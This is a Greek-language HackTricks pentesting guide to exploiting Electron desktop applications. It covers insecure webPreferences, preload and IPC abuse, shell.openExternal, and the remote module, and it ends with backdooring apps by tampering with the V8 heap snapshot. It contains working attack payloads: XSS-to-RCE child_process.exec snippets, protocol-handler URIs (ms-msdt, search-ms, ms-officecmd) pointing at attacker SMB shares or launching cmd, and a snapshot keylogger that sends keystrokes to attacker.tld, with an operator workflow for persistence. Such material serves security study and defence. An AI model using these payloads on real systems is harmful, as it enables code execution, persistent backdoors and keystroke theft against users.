Εφαρμογές Electron για Desktop
Reading time: 23 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Εισαγωγή
Το Electron συνδυάζει ένα τοπικό backend (με NodeJS) και ένα frontend (Chromium), αν και του λείπουν μερικοί από τους μηχανισμούς ασφάλειας των σύγχρονων περιηγητών.
Συνήθως μπορεί να βρείτε τον κώδικα μιας εφαρμογής Electron μέσα σε ένα αρχείο .asar
. Για να αποκτήσετε τον κώδικα, πρέπει να το εξαγάγετε:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο packet.json
, μπορείτε να βρείτε το καθορισμένο αρχείο main.js
όπου ορίζονται οι ρυθμίσεις ασφάλειας.
{
"name": "standard-notes",
"main": "./app/index.js",
Το Electron έχει 2 τύπους διεργασιών:
- Κύρια διεργασία (έχει πλήρη πρόσβαση στο NodeJS)
- Διεργασία renderer (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας)
Μια διεργασία renderer θα είναι ένα παράθυρο περιηγητή που φορτώνει ένα αρχείο:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Οι ρυθμίσεις της renderer process μπορούν να διαμορφωθούν στη main process μέσα στο αρχείο main.js. Ορισμένες από τις ρυθμίσεις θα αποτρέψουν το Electron application από το να αποκτήσει RCE ή άλλες ευπάθειες αν οι ρυθμίσεις είναι σωστά διαμορφωμένες.
Το Electron application μπορεί να αποκτήσει πρόσβαση στη συσκευή μέσω Node apis αν και μπορεί να ρυθμιστεί ώστε να το αποτρέψει:
nodeIntegration
- είναιoff
από προεπιλογή. Αν είναιon
, επιτρέπει την πρόσβαση σε node features από τη renderer process.contextIsolation
- είναιon
από προεπιλογή. Αν είναιoff
, τα main και renderer processes δεν είναι απομονωμένα.preload
- κενό από προεπιλογή.sandbox
- είναιoff
από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS.- Node Integration in Workers
nodeIntegrationInSubframes
- είναιoff
από προεπιλογή.- Αν το
nodeIntegration
είναι enabled, αυτό θα επιτρέψει τη χρήση των Node.js APIs σε web pages που είναι φορτωμένες σε iframes εντός ενός Electron application. - Αν το
nodeIntegration
είναι disabled, τότε τα preloads θα φορτωθούν στο iframe
Παράδειγμα διαμόρφωσης:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Μερικά RCE payloads από here:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Καταγραφή δικτυακής κίνησης
Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Αν μπορείτε να εκτελέσετε τοπικά μια Electron App, είναι πιθανό να την κάνετε να εκτελέσει αυθαίρετο javascript code. Δείτε πώς στο:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Αν η nodeIntegration είναι ρυθμισμένη σε on, το JavaScript μιας web σελίδας μπορεί να χρησιμοποιήσει δυνατότητες του Node.js εύκολα απλώς καλώντας το require()
. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
Το script που υποδεικνύεται σε αυτή τη ρύθμιση είναι lφορτωμένο πριν από άλλα scripts στον renderer, οπότε έχει απεριόριστη πρόσβαση στα Node APIs:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Συνεπώς, το script μπορεί να εξάγει node-features σε pages:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Εάν
contextIsolation
είναι ενεργό, αυτό δεν θα λειτουργήσει
RCE: XSS + contextIsolation
Το contextIsolation εισάγει τα διαχωρισμένα contexts μεταξύ των scripts της web σελίδας και του internal JavaScript κώδικα του Electron έτσι ώστε η εκτέλεση JavaScript κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Αυτή είναι μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE.
Εάν τα contexts δεν είναι απομονωμένα, ένας attacker μπορεί:
- Εκτελέσει arbitrary JavaScript in renderer (XSS ή navigation σε external sites)
- Overwrite the built-in method η οποία χρησιμοποιείται στο preload ή στον Electron internal code για να own function
- Trigger τη χρήση της overwritten function
- RCE?
Υπάρχουν 2 σημεία όπου built-int methods μπορούν να αντικατασταθούν: Στον preload code ή στον Electron internal code:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Παράκαμψη του click event
Εάν υπάρχουν περιορισμοί που εφαρμόζονται όταν κάνεις κλικ σε ένα link, μπορεί να τους παρακάμψεις doing a middle click αντί για ένα κανονικό left click
window.addEventListener('click', (e) => {
RCE via shell.openExternal
Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 και https://benjamin-altpeter.de/shell-openexternal-dangers/
Κατά την ανάπτυξη μιας επιτραπέζιας εφαρμογής Electron, η σωστή ρύθμιση των nodeIntegration
και contextIsolation
είναι κρίσιμη. Έχει διαπιστωθεί ότι η client-side remote code execution (RCE), που στοχεύει preload scripts ή το native code του Electron από τη main process, αποτρέπεται αποτελεσματικά όταν αυτές οι ρυθμίσεις είναι ενεργές.
Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι event listeners, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Αυτοί οι listeners είναι υπερκαλυπτόμενοι από την επιτραπέζια εφαρμογή για να υλοποιήσει τη δική της επιχειρησιακή λογική. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε έναν εξωτερικό web browser. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, openInternally
. Εάν αυτή η συνάρτηση επιστρέψει false
, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση shell.openExternal
.
Here is a simplified pseudocode:
Τα security best practices του Electron JS συνιστούν να μην γίνονται αποδεκτά μη αξιόπιστα περιεχόμενα μέσω της συνάρτησης openExternal
, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διαφόρων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω εξήγηση πάνω σε αυτό το θέμα, μπορείτε να ανατρέξετε σε αυτή την πηγή, η οποία περιλαμβάνει παραδείγματα πρωτοκόλλων Windows ικανών να εκμεταλλευτούν αυτήν την ευπάθεια.
Σε macos, η συνάρτηση openExternal
μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές, όπως στο shell.openExternal('file:///System/Applications/Calculator.app')
.
Παραδείγματα εκμεταλλεύσεων πρωτοκόλλων Windows περιλαμβάνουν:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + ευπαθές preload IPC + shell.openExternal
Αυτό το vuln μπορεί να βρεθεί στο this report.
Το webviewTag είναι μια απαρχαιωμένη λειτουργία που επιτρέπει τη χρήση του NodeJS στη renderer process, η οποία πρέπει να απενεργοποιηθεί καθώς επιτρέπει να φορτωθεί ένα script μέσα στο preload context όπως:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Επομένως, ένας επιτιθέμενος που καταφέρνει να φορτώσει μια αυθαίρετη σελίδα θα μπορούσε να χρησιμοποιήσει αυτό το tag για να φορτώσει ένα αυθαίρετο preload script.
Αυτό το preload script εκμεταλλεύτηκε στη συνέχεια για να καλέσει μια vulnerable IPC service (skype-new-window
) η οποία καλούσε καλούσε shell.openExternal
για να αποκτήσει RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Ανάγνωση Εσωτερικών Αρχείων: XSS + contextIsolation
Απενεργοποίηση contextIsolation
επιτρέπει τη χρήση των <webview>
ετικετών, παρόμοια με <iframe>
, για την ανάγνωση και exfiltrating τοπικών αρχείων. Ένα παράδειγμα δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να διαβάσετε τα περιεχόμενα εσωτερικών αρχείων:
Επιπλέον, παρουσιάζεται μια άλλη μέθοδος για ανάγνωση εσωτερικού αρχείου, υπογραμμίζοντας μια κρίσιμη ευπάθεια τοπικής ανάγνωσης αρχείων σε Electron desktop app. Αυτό περιλαμβάνει την ένεση ενός script για να εκμεταλλευτεί την εφαρμογή και να exfiltrate δεδομένα:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Παλιό Chromium
Εάν το chromium που χρησιμοποιεί η εφαρμογή είναι παλιό και υπάρχουν γνωστές vulnerabilities σε αυτό, μπορεί να είναι δυνατό να το exploit και να αποκτήσετε RCE μέσω XSS.
Μπορείτε να δείτε ένα παράδειγμα σε αυτό το writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing μέσω Internal URL regex bypass
Υποθέτοντας ότι βρήκατε ένα XSS αλλά δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να κλέψετε διαπιστευτήρια μέσω phishing.
Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον κώδικα JS στο front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
Η κλήση στην openInternally
θα αποφασίσει αν ο σύνδεσμος θα ανοίξει στο παράθυρο της desktop εφαρμογής καθώς είναι σύνδεσμος που ανήκει στην πλατφόρμα, ή αν θα ανοίξει στον browser ως 3rd party resource.
Σε περίπτωση που το regex που χρησιμοποιεί η συνάρτηση είναι vulnerable to bypasses (για παράδειγμα με το να μην γίνεται escaping των τελείων των subdomains) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να ανοίξει ένα νέο παράθυρο το οποίο θα βρισκόταν στην υποδομή του επιτιθέμενου ζητώντας credentials από τον χρήστη:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Πρωτόκολλο
As mentioned in the docs pages running on file://
have unilateral access to every file on your machine meaning that XSS issues can be used to load arbitrary files from the users machine. Using a προσαρμοσμένο πρωτόκολλο prevents issues like this as you can limit the protocol to only serving a specific set of files.
Remote module
Το Electron Remote module επιτρέπει στις renderer processes να έχουν πρόσβαση στα main process APIs, διευκολύνοντας την επικοινωνία μέσα σε μια εφαρμογή Electron. Ωστόσο, η ενεργοποίηση αυτού του module εισάγει σημαντικούς κινδύνους ασφάλειας. Αυξάνει την επιφάνεια επίθεσης της εφαρμογής, καθιστώντας την πιο επιρρεπή σε ευπάθειες όπως cross-site scripting (XSS) επιθέσεις.
tip
Αν και το remote module εκθέτει κάποια APIs από το main προς τις renderer processes, δεν είναι απλό να επιτευχθεί RCE απλώς με την κατάχρηση των components. Ωστόσο, τα components μπορεί να αποκαλύψουν ευαίσθητες πληροφορίες.
warning
Πολλές εφαρμογές που εξακολουθούν να χρησιμοποιούν το remote module το κάνουν με τρόπο που require NodeIntegration to be enabled στη renderer process, κάτι που αποτελεί τεράστιο κίνδυνο ασφάλειας.
Από το Electron 14, το remote
module του Electron μπορεί να ενεργοποιείται με διάφορους τρόπους, αλλά για λόγους ασφάλειας και απόδοσης συνιστάται να μην το χρησιμοποιείτε.
Για να το ενεργοποιήσετε, πρώτα πρέπει να το ενεργοποιήσετε στη main process:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Τότε, η renderer process μπορεί να import objects από το module που προτιμά:
import { dialog, getCurrentWindow } from '@electron/remote'
Το blog post αναφέρει μερικές ενδιαφέρουσες συναρτήσεις που εκτίθενται από το αντικείμενο app
του remote module:
app.relaunch([options])
- Επανακινεί την εφαρμογή τερματίζοντας την τρέχουσα διεργασία και εκκινώντας μια νέα. Χρήσιμο για ενημερώσεις της app ή σημαντικές αλλαγές κατάστασης.
app.setAppLogsPath([path])
- Ορίζει ή δημιουργεί έναν κατάλογο για την αποθήκευση των αρχείων καταγραφής της app. Τα logs μπορούν να ανακτηθούν ή να τροποποιηθούν χρησιμοποιώντας
app.getPath()
ήapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Καταχωρεί το τρέχον εκτελέσιμο ως τον προεπιλεγμένο χειριστή για ένα συγκεκριμένο πρωτόκολλο. Μπορείτε να παρέχετε μια προσαρμοσμένη διαδρομή και παραμέτρους αν χρειαστεί.
app.setUserTasks(tasks)
- Προσθέτει εργασίες στην κατηγορία Tasks στο Jump List (στα Windows). Κάθε εργασία μπορεί να καθορίσει πώς εκκινείται η app ή ποιες παραμέτρους δίνονται.
app.importCertificate(options, callback)
- Εισάγει ένα PKCS#12 certificate στο certificate store του συστήματος (Linux μόνο). Ένας callback μπορεί να χρησιμοποιηθεί για να χειριστεί το αποτέλεσμα.
app.moveToApplicationsFolder([options])
- Μετακινεί την εφαρμογή στον φάκελο Applications (στο macOS). Βοηθά να εξασφαλιστεί μια τυπική εγκατάσταση για χρήστες Mac.
app.setJumpList(categories)
- Ορίζει ή αφαιρεί ένα προσαρμοσμένο Jump List στα Windows. Μπορείτε να καθορίσετε κατηγορίες για να οργανώσετε πώς εμφανίζονται οι εργασίες στον χρήστη.
app.setLoginItemSettings(settings)
- Ρυθμίζει ποια εκτελέσιμα ξεκινούν κατά το login μαζί με τις επιλογές τους (macOS και Windows μόνο).
Example:
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences μονάδα
Το κύριο API για την πρόσβαση στις προτιμήσεις συστήματος και την εκπομπή συμβάντων συστήματος στο Electron. Μέθοδοι όπως subscribeNotification, subscribeWorkspaceNotification, getUserDefault και setUserDefault αποτελούν μέρος αυτής της μονάδας.
Παράδειγμα χρήσης:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Listens for native macOS notifications using NSDistributedNotificationCenter.
- Before macOS Catalina, you could sniff all distributed notifications by passing nil to CFNotificationCenterAddObserver.
- After Catalina / Big Sur, sandboxed apps can still subscribe to many events (for example, screen locks/unlocks, volume mounts, network activity, etc.) by registering notifications by name.
getUserDefault / setUserDefault
-
Interfaces with NSUserDefaults, which stores application or global preferences on macOS.
-
getUserDefault can retrieve sensitive information, such as recent file locations or user’s geographic location.
-
setUserDefault can modify these preferences, potentially affecting an app’s configuration.
-
In older Electron versions (before v8.3.0), only the standard suite of NSUserDefaults was accessible.
Shell.showItemInFolder
Αυτή η συνάρτηση εμφανίζει το δεδομένο αρχείο σε έναν file manager, ο οποίος θα μπορούσε να εκτελέσει αυτόματα το αρχείο.
For more information check https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Οι εφαρμογές Electron θα πρέπει να έχουν μια Content Security Policy (CSP) για να αποτρέπουν XSS attacks. Το CSP είναι ένα πρότυπο ασφαλείας που βοηθά στην αποτροπή της εκτέλεσης μη αξιόπιστου code στον browser.
Συνήθως διαμορφώνεται στο main.js
αρχείο ή στο index.html
template με το CSP μέσα σε ένα meta tag.
For more information check:
Content Security Policy (CSP) Bypass
RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Αυτή η πραγματική αλυσίδα επηρέασε το Visual Studio Code 1.63 (CVE-2021-43908) και δείχνει πώς ένα μοναδικό markdown-driven XSS σε μια webview μπορεί να κλιμακωθεί σε πλήρες RCE όταν το CSP, το postMessage, και οι scheme handlers είναι λάθος διαμορφωμένα. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included
style-src 'self' 'unsafe-inline'
, allowing inline/style-based injection in avscode-webview://
context. The payload beaconed to/stealID
to exfiltrate the target webview’s extensionId. - Constructing target webview URL: Using the leaked ID to build
vscode-webview://<extensionId>/.../<publicUrl>
. - Second XSS via postMessage trust: The outer webview trusted
window.postMessage
without strict origin/type checks and loaded attacker HTML withallowScripts: true
. - Local file loading via scheme/path rewriting: The payload rewrote
file:///...
tovscode-file://vscode-app/...
and swappedexploit.md
forRCE.html
, abusing weak path validation to load a privileged local resource. - RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
Example RCE primitive in the final context
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
Σχετική ανάγνωση για ζητήματα εμπιστοσύνης του postMessage:
Εργαλεία
- Electronegativity είναι ένα εργαλείο για την ανίχνευση λανθασμένων ρυθμίσεων και αντιπροτύπων ασφαλείας σε εφαρμογές βασισμένες σε Electron.
- Electrolint είναι ένα ανοιχτού κώδικα plugin για VS Code για εφαρμογές Electron που χρησιμοποιεί το Electronegativity.
- nodejsscan για τον έλεγχο ευπαθών τρίτων βιβλιοθηκών
- Electro.ng: Πρέπει να το αγοράσετε
Εργαστήρια
In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s μπορείτε να βρείτε ένα lab για να exploit vulnerable Electron apps.
Κάποιες εντολές που θα σας βοηθήσουν με το εργαστήριο:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Τοπικό backdooring μέσω παραποίησης V8 heap snapshot (Electron/Chromium) – CVE-2025-55305
Οι εφαρμογές βασισμένες σε Electron και Chromium απο-σειριοποιούν ένα προ-κατασκευασμένο V8 heap snapshot κατά την εκκίνηση (v8_context_snapshot.bin, και προαιρετικά browser_v8_context_snapshot.bin) για να αρχικοποιήσουν κάθε V8 isolate (main, preload, renderer). Ιστορικά, οι Electron’s integrity fuses δεν θεωρούσαν αυτά τα snapshots ως εκτελέσιμα περιεχόμενα, οπότε απέφευγαν τόσο την επιβολή ακεραιότητας βάσει fuses όσο και τους ελέγχους code-signing του λειτουργικού. Ως αποτέλεσμα, η αντικατάσταση του snapshot σε εγκατάσταση όπου ο χρήστης έχει δικαίωμα εγγραφής παρείχε κρυφή, επίμονη εκτέλεση κώδικα μέσα στην εφαρμογή χωρίς να τροποποιηθούν τα υπογεγραμμένα binaries ή το ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation και OnlyLoadAppFromAsar επικυρώνουν το app JavaScript μέσα στο ASAR, αλλά δεν κάλυπταν τα V8 heap snapshots (CVE-2025-55305). Ο Chromium παρόμοια δεν ελέγχει την ακεραιότητα των snapshots.
- Attack preconditions: Τοπική εγγραφή αρχείου στον κατάλογο εγκατάστασης της εφαρμογής. Αυτό είναι συνηθισμένο σε συστήματα όπου εφαρμογές Electron ή browsers Chromium είναι εγκατεστημένοι σε μονοπάτια όπου ο χρήστης έχει δικαίωμα εγγραφής (π.χ. %AppData%\Local στα Windows; /Applications με επιφυλάξεις στο macOS).
- Effect: Αξιόπιστη εκτέλεση attacker JavaScript σε οποιοδήποτε isolate με την υπεργραφή ενός συχνά χρησιμοποιούμενου builtin (ένα “gadget”), επιτρέποντας επίμονη παρουσία και αποφυγή των ελέγχων code-signing.
- Affected surface: Electron apps (ακόμη και με ενεργοποιημένα τα fuses) και Chromium-based browsers που φορτώνουν snapshots από τοποθεσίες όπου ο χρήστης έχει δικαίωμα εγγραφής.
Generating a malicious snapshot without building Chromium
- Χρησιμοποιήστε το προbuilt electron/mksnapshot για να compile-άρετε ένα payload JS σε snapshot και να αντικαταστήσετε το v8_context_snapshot.bin της εφαρμογής.
Example minimal payload (prove execution by forcing a crash)
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the application’s v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
Isolate-aware payload routing (run different code in main vs. renderer)
- Main process detection: Node-only global μεταβλητές όπως process.pid, process.binding(), ή process.dlopen υπάρχουν στο main process isolate.
- Browser/renderer detection: Browser-only globals όπως alert είναι διαθέσιμα όταν εκτελούνται σε document context.
Example gadget that probes main-process Node capabilities once
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
Renderer/browser-context κλοπή δεδομένων PoC (π.χ., Slack)
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
Operator workflow
- Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
- Build the snapshot without Chromium sources:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
- Overwrite the target application’s snapshot file(s):
- v8_context_snapshot.bin (always used)
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
- Launch the application; the gadget executes whenever the chosen builtin is used.
Σημειώσεις και παρατηρήσεις
- Integrity/signature bypass: Τα αρχεία snapshot δεν αντιμετωπίζονται ως native executables από τους ελέγχους code-signing και (ιστορικά) δεν καλύπτονταν από τα Electron’s fuses ή τους μηχανισμούς ακεραιότητας του Chromium.
- Persistence: Η αντικατάσταση του snapshot σε μια εγκατάσταση εγγράψιμη από τον χρήστη συνήθως επιβιώνει μετά την επανεκκίνηση της εφαρμογής και φαίνεται σαν μια υπογεγραμμένη, νόμιμη εφαρμογή.
- Chromium browsers: Το ίδιο σκεπτικό χειραγώγησης εφαρμόζεται στο Chrome/derivatives εγκατεστημένα σε τοποθεσίες εγγράψιμες από τον χρήστη. Το Chrome διαθέτει άλλες μετριαστικές λύσεις ακεραιότητας αλλά ρητά εξαιρεί τις φυσικά τοπικές επιθέσεις από το threat model του.
Ανίχνευση και μετριασμοί
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
References
- Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more
- Electron fuses
- Electron ASAR integrity
- V8 custom startup snapshots
- electron/mksnapshot
- MITRE ATT&CK T1218.015
- Loki C2
- Chromium: Disable loading of unsigned code (CIG)
- Chrome security FAQ: physically local attacks out of scope
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- More researches and write-ups about Electron security in https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.